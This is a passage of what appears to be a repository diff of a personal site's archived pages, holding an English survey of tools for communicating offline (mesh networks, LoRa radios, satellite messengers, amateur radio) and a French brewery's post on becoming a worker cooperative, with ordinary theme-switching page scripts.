<p><a href="/amateur-radio/">Amateur Radio</a>, of course, has the advantage of being able to communicate globally without the need to use anybody else’s infrastructure. It is absolutely unique in that capability. However, it does require a license and some technical ability to get going. Nonetheless, it is both a lot of fun and a great tool to have in your toolbox. Low-power (“QRP”) communications are also an area of interest within amateur radio, and the annual Field Day contest explores and encourages practice operating from remote locations without regular power.</p> | |||
<h2 id="additional-suggestions">Additional Suggestions</h2> | |||
<p>It is probably useful to have a Linux live USB stick with whatever software you want to use handy. <a href="/debian/">Debian</a> can be installed from the live environment, or you could use a security-focused distribution such as Tails or Qubes.</p> | |||
<p>Android users might want to use F-Droid; it lets you easily <a href="https://f-droid.org/en/tutorials/swap/">share apps between phones</a>.</p> | |||
<h2 id="references">References</h2> | |||
<p>This page originated in my <a href="https://floss.social/web/@jgoerzen/107884945439834995">Mastodon thread</a> and incorporates some suggestions I received there.</p> | |||
<p>It also formed a <a href="https://changelog.complete.org/archives/10356-tools-for-communicating-offline-and-in-difficult-circumstances">post on my blog</a>.</p> | |||
</article> | |||
<hr> | |||
<footer> | |||
<p> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="/david/log/" title="Accès au flux RSS"><svg class="icon icon-rss2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-rss2"></use> | |||
</svg> Suivre</a> • | |||
<a href="http://larlet.com" title="Go to my English profile" data-instant><svg class="icon icon-user-tie"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-user-tie"></use> | |||
</svg> Pro</a> • | |||
<a href="mailto:david%40larlet.fr" title="Envoyer un courriel"><svg class="icon icon-mail"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-mail"></use> | |||
</svg> Email</a> • | |||
<abbr class="nowrap" title="Hébergeur : Alwaysdata, 62 rue Tiquetonne 75002 Paris, +33184162340"><svg class="icon icon-hammer2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-hammer2"></use> | |||
</svg> Légal</abbr> | |||
</p> | |||
<template id="theme-selector"> | |||
<form> | |||
<fieldset> | |||
<legend><svg class="icon icon-brightness-contrast"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-brightness-contrast"></use> | |||
</svg> Thème</legend> | |||
<label> | |||
<input type="radio" value="auto" name="chosen-color-scheme" checked> Auto | |||
</label> | |||
<label> | |||
<input type="radio" value="dark" name="chosen-color-scheme"> Foncé | |||
</label> | |||
<label> | |||
<input type="radio" value="light" name="chosen-color-scheme"> Clair | |||
</label> | |||
</fieldset> | |||
</form> | |||
</template> | |||
</footer> | |||
<script src="/static/david/js/instantpage-5.1.0.min.js" type="module"></script> | |||
<script> | |||
function loadThemeForm(templateName) { | |||
const themeSelectorTemplate = document.querySelector(templateName) | |||
const form = themeSelectorTemplate.content.firstElementChild | |||
themeSelectorTemplate.replaceWith(form) | |||
form.addEventListener('change', (e) => { | |||
const chosenColorScheme = e.target.value | |||
localStorage.setItem('theme', chosenColorScheme) | |||
toggleTheme(chosenColorScheme) | |||
}) | |||
const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme && selectedTheme !== 'undefined') { | |||
form.querySelector(`[value="${selectedTheme}"]`).checked = true | |||
} | |||
} | |||
const prefersColorSchemeDark = '(prefers-color-scheme: dark)' | |||
window.addEventListener('load', () => { | |||
let hasDarkRules = false | |||
for (const styleSheet of Array.from(document.styleSheets)) { | |||
let mediaRules = [] | |||
for (const cssRule of styleSheet.cssRules) { | |||
if (cssRule.type !== CSSRule.MEDIA_RULE) { | |||
continue | |||
} | |||
// WARNING: Safari does not have/supports `conditionText`. | |||
if (cssRule.conditionText) { | |||
if (cssRule.conditionText !== prefersColorSchemeDark) { | |||
continue | |||
} | |||
} else { | |||
if (cssRule.cssText.startsWith(prefersColorSchemeDark)) { | |||
continue | |||
} | |||
} | |||
mediaRules = mediaRules.concat(Array.from(cssRule.cssRules)) | |||
} | |||
// WARNING: do not try to insert a Rule to a styleSheet you are | |||
// currently iterating on, otherwise the browser will be stuck | |||
// in a infinite loop… | |||
for (const mediaRule of mediaRules) { | |||
styleSheet.insertRule(mediaRule.cssText) | |||
hasDarkRules = true | |||
} | |||
} | |||
if (hasDarkRules) { | |||
loadThemeForm('#theme-selector') | |||
} | |||
}) | |||
</script> | |||
</body> | |||
</html> |
@@ -0,0 +1,42 @@ | |||
title: Tools for Communicating Offline and in Difficult Circumstances | |||
url: https://www.complete.org/tools-for-communicating-offline-and-in-difficult-circumstances/ | |||
hash_url: 4525ebd31ecd7bc978fbe0ad464824a3 | |||
<p>When things are difficult – maybe there’s been a disaster, or an invasion (this page is being written in 2022 just after Russia invaded Ukraine), or maybe you’re just backpacking off the grid – there are tools that can help you keep in touch, or move your data around. This page aims to survey some of them, roughly in order from easiest to more complex.</p> | |||
<h2 id="simple-radios">Simple radios</h2> | |||
<p>Handheld radios shouldn’t be forgotten. They are cheap, small, and easy to operate. Their range isn’t huge – maybe a couple of miles in rural areas, much less in cities – but they can be a useful place to start. They tend to have no actual encryption features (the “privacy” features really aren’t.) In the USA, options are FRS/GMRS and CB.</p> | |||
<h2 id="syncthing">Syncthing</h2> | |||
<p>With <a href="/syncthing/">Syncthing</a>, you can share files among your devices or with your friends. Syncthing essentially builds a private mesh for file sharing. Devices will auto-discover each other when on the same LAN or Wifi network, and opportunistically sync.</p> | |||
<p>I wrote more about offline uses of Syncthing, and its use with <a href="/nncp/">NNCP</a>, in my blog post <a href="https://changelog.complete.org/archives/10219-a-simple-delay-tolerant-offline-capable-mesh-network-with-syncthing-optional-nncp">A simple, delay-tolerant, offline-capable mesh network with Syncthing (+ optional NNCP)</a>. Yes, it is a form of a <a href="/mesh-network/">Mesh Network</a>!</p> | |||
<p>Homepage: <a href="https://syncthing.net/">https://syncthing.net/</a></p> | |||
<h2 id="briar">Briar</h2> | |||
<p>Briar is an instant messaging service based around Android. It’s IM with a twist: it can use a mesh of Bluetooh devices. Or, if Internet is available, Tor. It has even been extended to support the use of SD cards and USB sticks to carry your messages.</p> | |||
<p>Like some others here, it can relay messages for third parties as well.</p> | |||
<p>Homepage: <a href="https://briarproject.org/">https://briarproject.org/</a></p> | |||
<h2 id="manyverse-and-scuttlebutt">Manyverse and Scuttlebutt</h2> | |||
<p>Manyverse is a client for Scuttlebutt, which is a sort of asynchronous, offline-friendly social network. You can use it to keep in touch with your family and friends, and it supports syncing over Bluetooth and Wifi even in the absence of Internet.</p> | |||
<p>Homepages: <a href="https://www.manyver.se/">https://www.manyver.se/</a> and <a href="https://scuttlebutt.nz/">https://scuttlebutt.nz/</a></p> | |||
<h2 id="yggdrasil">Yggdrasil</h2> | |||
<p><a href="/yggdrasil/">Yggdrasil</a> is a self-healing, fully end-to-end <a href="/encrypted/">Encrypted</a> <a href="/mesh-network/">Mesh Network</a>. It can work among local devices or on the global Internet. It has network services that can egress onto things like Tor, I2P, and the public Internet. Yggdrasil makes a perfect companion to ad-hoc wifi as it has auto peer discovery on the local network.</p> | |||
<p>I talked about it in more detail in my blog post <a href="https://changelog.complete.org/archives/10319-make-the-internet-yours-again-with-an-instant-mesh-network">Make the Internet Yours Again With an Instant Mesh Network</a>.</p> | |||
<p>Homepage: <a href="https://yggdrasil-network.github.io/">https://yggdrasil-network.github.io/</a></p> | |||
<h2 id="ad-hoc-wifi">Ad-Hoc Wifi</h2> | |||
<p>Few people know about the ad-hoc wifi mode. Ad-hoc wifi lets devices in range talk to each other without an access point. You just all set your devices to the same network name and password and there you go. However, there often isn’t DHCP, so IP configuration can be a bit of a challenge. Yggdrasil helps here.</p> | |||
<h2 id="nncp">NNCP</h2> | |||
<p>Moving now to more advanced tools, <a href="/nncp/">NNCP</a> lets you assemble a network of peers that can use <a href="/asynchronous-communication/">Asynchronous Communication</a> over sneakernet, USB drives, radios, CD-Rs, Internet, tor, <a href="/nncp-over-yggdrasil/">NNCP over Yggdrasil</a>, <a href="/syncthing/">Syncthing</a>, Dropbox, S3, you name it . NNCP supports multi-hop file transfer and remote execution. It is fully end-to-end encrypted. Think of it as the offline version of ssh.</p> | |||
<p>Homepage: <a href="https://nncp.mirrors.quux.org/">https://nncp.mirrors.quux.org/</a></p> | |||
<h2 id="meshtastic">Meshtastic</h2> | |||
<p><a href="/meshtastic/">Meshtastic</a> uses long-range, low-power <a href="/lora/">LoRa</a> radios to build a long-distance, encrypted, instant messaging system that is a <a href="/mesh-network/">Mesh Network</a>. It requires specialized hardware, about $30, but will tend to get much better range than simple radios, and with very little power.</p> | |||
<p>Homepages: <a href="https://meshtastic.org/">https://meshtastic.org/</a> and <a href="https://meshtastic.letstalkthis.com/">https://meshtastic.letstalkthis.com/</a></p> | |||
<h2 id="portable-satellite-communicators">Portable Satellite Communicators</h2> | |||
<p>You can get portable satellite communicators that can send SMS from anywhere on earth with a clear view of the sky. The Garmin InReach mini and Zoleo are two credible options. Subscriptions range from about $10 to $40 per month depending on usage. They also have global SOS features.</p> | |||
<h2 id="telephone-lines">Telephone Lines</h2> | |||
<p>If you have a phone line and a modem, <a href="/uucp/">UUCP</a> can get through just about anything. It’s an older protocol that lacks modern security, but will deal with slow and noisy serial lines well. <a href="/xbee-sx/">XBee SX</a> radios also have a serial mode that can work well with UUCP.</p> | |||
<h2 id="amateur-radio">Amateur Radio</h2> | |||
<p><a href="/amateur-radio/">Amateur Radio</a>, of course, has the advantage of being able to communicate globally without the need to use anybody else’s infrastructure. It is absolutely unique in that capability. However, it does require a license and some technical ability to get going. Nonetheless, it is both a lot of fun and a great tool to have in your toolbox. Low-power (“QRP”) communications are also an area of interest within amateur radio, and the annual Field Day contest explores and encourages practice operating from remote locations without regular power.</p> | |||
<h2 id="additional-suggestions">Additional Suggestions</h2> | |||
<p>It is probably useful to have a Linux live USB stick with whatever software you want to use handy. <a href="/debian/">Debian</a> can be installed from the live environment, or you could use a security-focused distribution such as Tails or Qubes.</p> | |||
<p>Android users might want to use F-Droid; it lets you easily <a href="https://f-droid.org/en/tutorials/swap/">share apps between phones</a>.</p> | |||
<h2 id="references">References</h2> | |||
<p>This page originated in my <a href="https://floss.social/web/@jgoerzen/107884945439834995">Mastodon thread</a> and incorporates some suggestions I received there.</p> | |||
<p>It also formed a <a href="https://changelog.complete.org/archives/10356-tools-for-communicating-offline-and-in-difficult-circumstances">post on my blog</a>.</p> |
@@ -0,0 +1,216 @@ | |||
<!doctype html><!-- This is a valid HTML5 document. --> | |||
<!-- Screen readers, SEO, extensions and so on. --> | |||
<html lang="fr"> | |||
<!-- Has to be within the first 1024 bytes, hence before the `title` element | |||
See: https://www.w3.org/TR/2012/CR-html5-20121217/document-metadata.html#charset --> | |||
<meta charset="utf-8"> | |||
<!-- Why no `X-UA-Compatible` meta: https://stackoverflow.com/a/6771584 --> | |||
<!-- The viewport meta is quite crowded and we are responsible for that. | |||
See: https://codepen.io/tigt/post/meta-viewport-for-2015 --> | |||
<meta name="viewport" content="width=device-width,initial-scale=1"> | |||
<!-- Required to make a valid HTML5 document. --> | |||
<title>Brasserie du Vieux Singe — Transformation en SCOP (archive) — David Larlet</title> | |||
<meta name="description" content="Publication mise en cache pour en conserver une trace."> | |||
<!-- That good ol' feed, subscribe :). --> | |||
<link rel="alternate" type="application/atom+xml" title="Feed" href="/david/log/"> | |||
<!-- Generated from https://realfavicongenerator.net/ such a mess. --> | |||
<link rel="apple-touch-icon" sizes="180x180" href="/static/david/icons2/apple-touch-icon.png"> | |||
<link rel="icon" type="image/png" sizes="32x32" href="/static/david/icons2/favicon-32x32.png"> | |||
<link rel="icon" type="image/png" sizes="16x16" href="/static/david/icons2/favicon-16x16.png"> | |||
<link rel="manifest" href="/static/david/icons2/site.webmanifest"> | |||
<link rel="mask-icon" href="/static/david/icons2/safari-pinned-tab.svg" color="#07486c"> | |||
<link rel="shortcut icon" href="/static/david/icons2/favicon.ico"> | |||
<meta name="msapplication-TileColor" content="#f7f7f7"> | |||
<meta name="msapplication-config" content="/static/david/icons2/browserconfig.xml"> | |||
<meta name="theme-color" content="#f7f7f7" media="(prefers-color-scheme: light)"> | |||
<meta name="theme-color" content="#272727" media="(prefers-color-scheme: dark)"> | |||
<!-- Documented, feel free to shoot an email. --> | |||
<link rel="stylesheet" href="/static/david/css/style_2021-01-20.css"> | |||
<!-- See https://www.zachleat.com/web/comprehensive-webfonts/ for the trade-off. --> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<script> | |||
function toggleTheme(themeName) { | |||
document.documentElement.classList.toggle( | |||
'forced-dark', | |||
themeName === 'dark' | |||
) | |||
document.documentElement.classList.toggle( | |||
'forced-light', | |||
themeName === 'light' | |||
) | |||
} | |||
const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme !== 'undefined') { | |||
toggleTheme(selectedTheme) | |||
} | |||
</script> | |||
<meta name="robots" content="noindex, nofollow"> | |||
<meta content="origin-when-cross-origin" name="referrer"> | |||
<!-- Canonical URL for SEO purposes --> | |||
<link rel="canonical" href="https://www.vieuxsinge.com/transformation-en-scop.html"> | |||
<body class="remarkdown h1-underline h2-underline h3-underline em-underscore hr-center ul-star pre-tick" data-instant-intensity="viewport-all"> | |||
<article> | |||
<header> | |||
<h1>Brasserie du Vieux Singe — Transformation en SCOP</h1> | |||
</header> | |||
<nav> | |||
<p class="center"> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="https://www.vieuxsinge.com/transformation-en-scop.html" title="Lien vers le contenu original">Source originale</a> | |||
</p> | |||
</nav> | |||
<hr> | |||
<p>2022 commence très bien : notre <a href="https://www.vieuxsinge.com">Brasserie du Vieux Singe</a> est désormais une SCOP, une coopérative de salarié⋅es !</p> | |||
<p>Voici un bref résumé de ce que ça signifie pour nous (parce qu'on sait que l'article est long ;-)) :</p> | |||
<p>💡 Nous parlons souvent de <em>salarié⋅es-sociétaires</em> : ce sont les salarié⋅es qui sont devenus sociétaires. Au bout d'un an, on demande à chacun⋅e de devenir sociétaire.</p> | |||
<ol> | |||
<li>Ce sont les <em>salarié⋅es-sociétaires</em> qui gouvernent l'entreprise. Il est impossible de la revendre ;</li> | |||
<li>Nous voulons une structure démocratique — dans laquelle chacun⋅e a autant sa place que les autres : les salarié⋅es-sociétaires prennent part aux décisions stratégiques et les responsabilités sont partagées ;</li> | |||
<li>Nous souhaitons travailler pour nous, en mettant les personnes au cœur de nos problématiques, en prenant soin de notre santé physique et mentale ;</li> | |||
<li>Nous rémunérons le travail plutôt que la propriété. Nous n'avons pas d'actionnaires extérieurs et les salarié⋅es-sociétaires ne perçoivent pas de dividendes ;</li> | |||
<li>Parfois, nos intérêts divergent, nous cherchons donc à rendre les discussions possibles et souhaitables, en regardant en face nos désaccords ;</li> | |||
<li>La SCOP est un moyen d'asseoir l'indépendance de la brasserie et de ne plus être garants à titre personnel des emprunts de l'entreprise.</li> | |||
</ol> | |||
<p>——</p> | |||
<p>Dans une <a href="https://fr.wikipedia.org/wiki/Soci%C3%A9t%C3%A9_coop%C3%A9rative_et_participative">SCOP</a> l'idée générale est d'avoir un fonctionnement plus démocratique : <strong>Se sont les <em>salarié⋅es-sociétaires</em> qui gouvernent l'entreprise</strong>, et qui prennent les décisions ensemble sur le principe d'une voix par personne, et les bénéfices sont répartis entre salarié⋅es… plutôt qu'entre patrons !</p> | |||
<p>Cette transformation arrive à un moment clé pour nous : nous sommes passés de deux à trois personnes il y a presque deux ans, et nous cherchons à recruter une quatrième.</p> | |||
<p>Sortir de la vision « patrons vs salarié⋅es » pour avoir <strong>une structure dans laquelle chacun⋅e a autant sa place que les autres</strong> nous semble pertinent et la SCOP nous semble un moyen d'aller dans le bon sens.</p> | |||
<p>La SCOP est un outil qui nous permet de choisir ensemble l'organisation du travail qui nous convient le mieux, et de décider collectivement de l'avenir de l'entreprise, ainsi qu'à quoi servent nos bénéfices.</p> | |||
<p>Travailler en SCOP, c'est donc <strong>travailler pour nous</strong> (les salarié⋅es), en ayant notre mot à dire sur nos conditions de travail, et sur la place que ce travail prend dans nos vies. C'est un cadre alternatif à celui proposé par le modèle capitaliste, car il <strong>met les humain⋅es au cœur de nos préoccupations</strong> : nous souhaitons travailler en prenant soin de notre santé physique et mentale, via des semaines de congés payés en plus, des outils de travail ergonomiques, des temps de réflexion sur nos relations inter-individuelles, etc.</p> | |||
<p>Mais… bien sûr, le statut ne fait pas tout ! Il existe des SCOP très pyramidales et des « non-SCOP » vraiment collectives. Notre fonctionnement était déjà bien porté sur la coopération, et nous voyons ce changement de statut comme un prolongement logique de notre engagement.</p> | |||
<p>Enfin bref ! On a divisé cet article en plusieurs sections dans l'espoir de le rendre plus digeste : Le rapport à la propriété (1), Comment apprendre à faire ensemble (2) et comment cultiver notre indépendance (3).</p> | |||
<h1>1. Le rapport à la propriété</h1> | |||
<p>Nous considérons l'entreprise comme une sorte de bien commun, plutôt que comme quelque chose qui appartient à certain⋅es : c'est tout simplement notre cadre de travail.</p> | |||
<p>Au lieu de de rémunérer la propriété de l'entreprise, <strong>nous cherchons à rémunérer le travail</strong>. Mesurer le temps passé à travailler est parfois complexe, mais cela nous semble plus équitable que de rémunérer la propriété.</p> | |||
<p>Nous n'avons donc <strong>pas d'actionnaires extérieurs</strong>, et nous ne versons <strong>pas de dividendes</strong> aux <em>salarié⋅es sociétaires</em> : ce qui devient rémunérateur est le travail que nous effectuons au sein de la brasserie, même si celui-ci parait difficilement mesurable et ne se résume pas au seul <em>temps de travail</em>.</p> | |||
<p>Selon la même logique, <strong>l'entreprise n'est pas un lieu de rémunération du capital qui y est déposé</strong>. Le capital social d'une SCOP ne prend pas de valeur. Lorsque un⋅e sociétaire apporte 1 € il ou elle repart avec 1 € sans faire de plus-value. Les réserves cumulées d'année en année restent dans l'entreprise pour contribuer à son indépendance.</p> | |||
<p>D'ailleurs, plutôt que de compter sur une valorisation de l'entreprise au moment de sa revente, nous préférons <strong>nous payer correctement au quotidien</strong>, et nous reverser les éventuels excédents générés par l'activité en fin d'année (au moins 25% des bénéfices générés sont répartis entre les salarié⋅es).</p> | |||
<p>C'est important pour nous de redéfinir ce rapport à la propriété : une entreprise ne devrait pas décider sans ses salariés, surtout si c'est pour l'enrichissement personnel de ceux et celles qui en sont propriétaires.</p> | |||
<h1>2. Apprendre à faire ensemble</h1> | |||
<p>Nous constatons que la démocratie ne s'applique pas toujours dans nos milieux d'entreprises, nous poussant parfois à <strong>accepter dans nos milieux pros ce qui ne l'est pas dans nos vies privées</strong>. Pour inverser cette tendance, nous cherchons à créer un cadre dans lequel <strong>les discussions deviennent possibles et souhaitables</strong>, et où le pouvoir est réellement partagé.</p> | |||
<p>Tous⋅tes <strong>les salarié⋅es-sociétaires prennent donc part aux décisions stratégiques</strong>, plutôt que d'avoir un simple avis consultatif.</p> | |||
<p>Les <strong>responsabilités sont partagées</strong> pour que la réussite de l'entreprise repose sur l'ensemble des personnes, et non plus sur quelques un⋅es.</p> | |||
<p>De temps en temps — bien sûr — nos intérêts divergent, et cela nous pousse à <strong>regarder en face nos désaccords</strong> puis à les discuter pour mieux les comprendre. C'est une culture d'entreprise qui nous plaît — et qui dénote avec les structures plus classiques qui mettent les décideurs⋅euses au sommet et les travailleurs⋅euses à la base.</p> | |||
<p>C'est aussi un moyen de <strong>pérenniser notre projet en le dépersonnalisant</strong>. L'entreprise qui avant était incarnée par deux personnes est maintenant la propriété de l'ensemble des salariés (Fred, Colin et Alexis).</p> | |||
<p>Nous demandons aux personnes qui travaillent avec nous de s'engager dans la vie de la coopérative, au bout d'un an maximum, afin d'éviter de reproduire une structure dans laquelle les salariés ne sont pas décisionnaires.</p> | |||
<h1>3. Cultiver notre indépendance</h1> | |||
<p>Nous apprécions notre indépendance et mettons en place des outils pour faire en sorte de la conserver sur le long terme.</p> | |||
<p>Il est par exemple <strong>impossible de revendre la brasserie</strong>. A l'heure ou certaines brasseries se font racheter, c'est un moyen de garantir notre indépendance. C'est dans ce sens que nous avons fait le choix de ne pas autoriser les actionnaires extérieurs.</p> | |||
<p>La SCOP est aussi <strong>un moyen d'asseoir notre indépendance financière</strong> vis-à-vis des structures extérieures : les apports de chaque <em>salarié⋅e-sociétaire</em> constituent un capital qui permet de <strong>limiter la recherche de financeurs extérieurs</strong>, pérennisant l'indépendance financière de l'entreprise.</p> | |||
<p>Certains outils financiers simplifient également le financement des SCOP, en remplaçant les cautions personnelles par des garanties bancaires ou des financements de prêts. Cela permet de s'enlever une pression financière à titre personnelle, en cas de défaillance de l'entreprise.</p> | |||
<p>Cette prise de parts par les sociétaires est en fait obligatoire : chaque année, ils et elles doivent « monter au capital » en apportant à l'entreprise une partie de ses revenus. L'idée est que chacun⋅e soit engagé⋅e économiquement au même titre dans l'entreprise à terme. La montée au capital se fait progressivement d'année en année pour ne pas trop peser sur les revenus des nouveaux sociétaires.</p> | |||
<p>Autre point clé : 75% des bénéfices est mise en réserve tous les ans, ce qui permet d'autofinancer les projets, plutôt que de les répartir entre associés, par exemple via des dividendes.</p> | |||
<h2>En résumé</h2> | |||
<p>On est très contents de ce changement de statut… même si c'est une grande nouveauté pour nous ! C'est toujours une expérience en cours, et nous allons devoir sans doute nous réinventer au fur et à mesure des années pour que nos idéaux trouvent leur place dans notre travail.</p> | |||
<p>La SCOP est un outil qui nous semble pertinent parce qu'il vient rebattre les cartes : il est rare de voir des entreprises dans lesquelles les salarié⋅es ont le « pouvoir », alors même que cela nous parait logique et sain.</p> | |||
<p>On vous attend avec une surprise houblonnée très bientôt pour fêter ça :-)</p> | |||
<p><em>A bientôt, pour de nouvelles aventures !</em></p> | |||
</article> | |||
<hr> | |||
<footer> | |||
<p> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="/david/log/" title="Accès au flux RSS"><svg class="icon icon-rss2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-rss2"></use> | |||
</svg> Suivre</a> • | |||
<a href="http://larlet.com" title="Go to my English profile" data-instant><svg class="icon icon-user-tie"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-user-tie"></use> | |||
</svg> Pro</a> • | |||
<a href="mailto:david%40larlet.fr" title="Envoyer un courriel"><svg class="icon icon-mail"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-mail"></use> | |||
</svg> Email</a> • | |||
<abbr class="nowrap" title="Hébergeur : Alwaysdata, 62 rue Tiquetonne 75002 Paris, +33184162340"><svg class="icon icon-hammer2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-hammer2"></use> | |||
</svg> Légal</abbr> | |||
</p> | |||
<template id="theme-selector"> | |||
<form> | |||
<fieldset> | |||
<legend><svg class="icon icon-brightness-contrast"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-brightness-contrast"></use> | |||
</svg> Thème</legend> | |||
<label> | |||
<input type="radio" value="auto" name="chosen-color-scheme" checked> Auto | |||
</label> | |||
<label> | |||
<input type="radio" value="dark" name="chosen-color-scheme"> Foncé | |||
</label> | |||
<label> | |||
<input type="radio" value="light" name="chosen-color-scheme"> Clair | |||
</label> | |||
</fieldset> | |||
</form> | |||
</template> | |||
</footer> | |||
<script src="/static/david/js/instantpage-5.1.0.min.js" type="module"></script> | |||
<script> | |||
function loadThemeForm(templateName) { | |||
const themeSelectorTemplate = document.querySelector(templateName) | |||
const form = themeSelectorTemplate.content.firstElementChild | |||
themeSelectorTemplate.replaceWith(form) | |||
form.addEventListener('change', (e) => { | |||
const chosenColorScheme = e.target.value | |||
localStorage.setItem('theme', chosenColorScheme) | |||
toggleTheme(chosenColorScheme) | |||
}) | |||
const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme && selectedTheme !== 'undefined') { | |||
form.querySelector(`[value="${selectedTheme}"]`).checked = true | |||
} | |||
} | |||
const prefersColorSchemeDark = '(prefers-color-scheme: dark)' | |||
window.addEventListener('load', () => { | |||
let hasDarkRules = false | |||
for (const styleSheet of Array.from(document.styleSheets)) { | |||
let mediaRules = [] | |||
for (const cssRule of styleSheet.cssRules) { | |||
if (cssRule.type !== CSSRule.MEDIA_RULE) { | |||
continue | |||
} | |||
// WARNING: Safari does not have/supports `conditionText`. | |||
if (cssRule.conditionText) { | |||
if (cssRule.conditionText !== prefersColorSchemeDark) { | |||
continue | |||
} | |||
} else { | |||
if (cssRule.cssText.startsWith(prefersColorSchemeDark)) { | |||
continue | |||
} | |||
} | |||
mediaRules = mediaRules.concat(Array.from(cssRule.cssRules)) | |||
} | |||
// WARNING: do not try to insert a Rule to a styleSheet you are | |||
// currently iterating on, otherwise the browser will be stuck | |||
// in a infinite loop… | |||
for (const mediaRule of mediaRules) { | |||
styleSheet.insertRule(mediaRule.cssText) | |||
hasDarkRules = true | |||
} | |||
} | |||
if (hasDarkRules) { | |||
loadThemeForm('#theme-selector') | |||
} | |||
}) | |||
</script> | |||
</body> | |||
</html> |
@@ -0,0 +1,49 @@ | |||
title: Brasserie du Vieux Singe — Transformation en SCOP | |||
url: https://www.vieuxsinge.com/transformation-en-scop.html | |||
hash_url: 63c624eb03143c963380f527b7b5ca0f | |||
<p>2022 commence très bien : notre <a href="https://www.vieuxsinge.com">Brasserie du Vieux Singe</a> est désormais une SCOP, une coopérative de salarié⋅es !</p> | |||
<p>Voici un bref résumé de ce que ça signifie pour nous (parce qu'on sait que l'article est long ;-)) :</p> | |||
<p>💡 Nous parlons souvent de <em>salarié⋅es-sociétaires</em> : ce sont les salarié⋅es qui sont devenus sociétaires. Au bout d'un an, on demande à chacun⋅e de devenir sociétaire.</p> | |||
<ol> | |||
<li>Ce sont les <em>salarié⋅es-sociétaires</em> qui gouvernent l'entreprise. Il est impossible de la revendre ;</li> | |||
<li>Nous voulons une structure démocratique — dans laquelle chacun⋅e a autant sa place que les autres : les salarié⋅es-sociétaires prennent part aux décisions stratégiques et les responsabilités sont partagées ;</li> | |||
<li>Nous souhaitons travailler pour nous, en mettant les personnes au cœur de nos problématiques, en prenant soin de notre santé physique et mentale ;</li> | |||
<li>Nous rémunérons le travail plutôt que la propriété. Nous n'avons pas d'actionnaires extérieurs et les salarié⋅es-sociétaires ne perçoivent pas de dividendes ;</li> | |||
<li>Parfois, nos intérêts divergent, nous cherchons donc à rendre les discussions possibles et souhaitables, en regardant en face nos désaccords ;</li> | |||
<li>La SCOP est un moyen d'asseoir l'indépendance de la brasserie et de ne plus être garants à titre personnel des emprunts de l'entreprise.</li> | |||
</ol> | |||
<p>——</p> | |||
<p>Dans une <a href="https://fr.wikipedia.org/wiki/Soci%C3%A9t%C3%A9_coop%C3%A9rative_et_participative">SCOP</a> l'idée générale est d'avoir un fonctionnement plus démocratique : <strong>Se sont les <em>salarié⋅es-sociétaires</em> qui gouvernent l'entreprise</strong>, et qui prennent les décisions ensemble sur le principe d'une voix par personne, et les bénéfices sont répartis entre salarié⋅es… plutôt qu'entre patrons !</p> | |||
<p>Cette transformation arrive à un moment clé pour nous : nous sommes passés de deux à trois personnes il y a presque deux ans, et nous cherchons à recruter une quatrième.</p> | |||
<p>Sortir de la vision « patrons vs salarié⋅es » pour avoir <strong>une structure dans laquelle chacun⋅e a autant sa place que les autres</strong> nous semble pertinent et la SCOP nous semble un moyen d'aller dans le bon sens.</p> | |||
<p>La SCOP est un outil qui nous permet de choisir ensemble l'organisation du travail qui nous convient le mieux, et de décider collectivement de l'avenir de l'entreprise, ainsi qu'à quoi servent nos bénéfices.</p> | |||
<p>Travailler en SCOP, c'est donc <strong>travailler pour nous</strong> (les salarié⋅es), en ayant notre mot à dire sur nos conditions de travail, et sur la place que ce travail prend dans nos vies. C'est un cadre alternatif à celui proposé par le modèle capitaliste, car il <strong>met les humain⋅es au cœur de nos préoccupations</strong> : nous souhaitons travailler en prenant soin de notre santé physique et mentale, via des semaines de congés payés en plus, des outils de travail ergonomiques, des temps de réflexion sur nos relations inter-individuelles, etc.</p> | |||
<p>Mais… bien sûr, le statut ne fait pas tout ! Il existe des SCOP très pyramidales et des « non-SCOP » vraiment collectives. Notre fonctionnement était déjà bien porté sur la coopération, et nous voyons ce changement de statut comme un prolongement logique de notre engagement.</p> | |||
<p>Enfin bref ! On a divisé cet article en plusieurs sections dans l'espoir de le rendre plus digeste : Le rapport à la propriété (1), Comment apprendre à faire ensemble (2) et comment cultiver notre indépendance (3).</p> | |||
<h1>1. Le rapport à la propriété</h1> | |||
